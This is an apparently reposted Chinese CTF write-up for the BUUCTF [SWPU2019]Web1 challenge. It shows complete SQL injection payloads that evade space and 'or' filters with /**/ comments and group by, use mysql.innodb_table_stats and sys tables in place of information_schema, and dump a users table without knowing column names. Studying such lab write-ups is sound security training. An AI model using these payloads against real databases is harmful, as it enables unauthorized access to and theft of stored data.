admin管理员组文章数量:1638924
登录进去后,首先尝试了union注入,但是发现空格被过滤,于是使用/**/
绕过。
然后判断列数,但是发现注释符被过滤了,无法使用,于是在SQL语句后加一个单引号闭合后面的语句limit 0,1;'
。
由于or被禁用,所以order by
也无法使用,改为group by
,'/**/group/**/by/**/22,'
最后判断出列数有22列,回显位置为2和3.
title='/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'&content=&ac=add
由于过滤or无法使用information_schema库,这里我根据题解又学会了information_schema的bypass。
使用sys库,来完成表名的查询sys.schema_auto_increment_columns
但是buuctf这里的环境好像有点不一样。。。显示这个表不存在,难道BUU改了下环境?
title='/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22&content=&ac=add
然后看了看BUU的题解,用的是另外一个表mysql.innodb_table_stats
,根据聊一聊bypass information_schema 这篇文章所说,现在网络上能搜索到的文章大部分都是利用innoDB引擎绕过对information_schema的过滤,但是mysql默认是关闭InnoDB存储引擎的,好吧,把这两个表都记住,以后都试试。
查表:
select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats
无列名注入:
title='/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
总结:
1,information_schema的bypass:
-
sys.schema_auto_increment_columns
-
Mysql5.6及以上版本中
innodb_index_stats
和innodb_table_stats
这两个表中都包含所有新创建的数据库和表名
2,无列名注入:https://www.jianshu/p/6eba3370cfab
本文标签: BUUCTF无列名informationschemabypass
版权声明:本文标题:BUUCTF-[SWPU2019]Web1(bypass information_schema,无列名注入) 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dongtai/1729278992a1193840.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论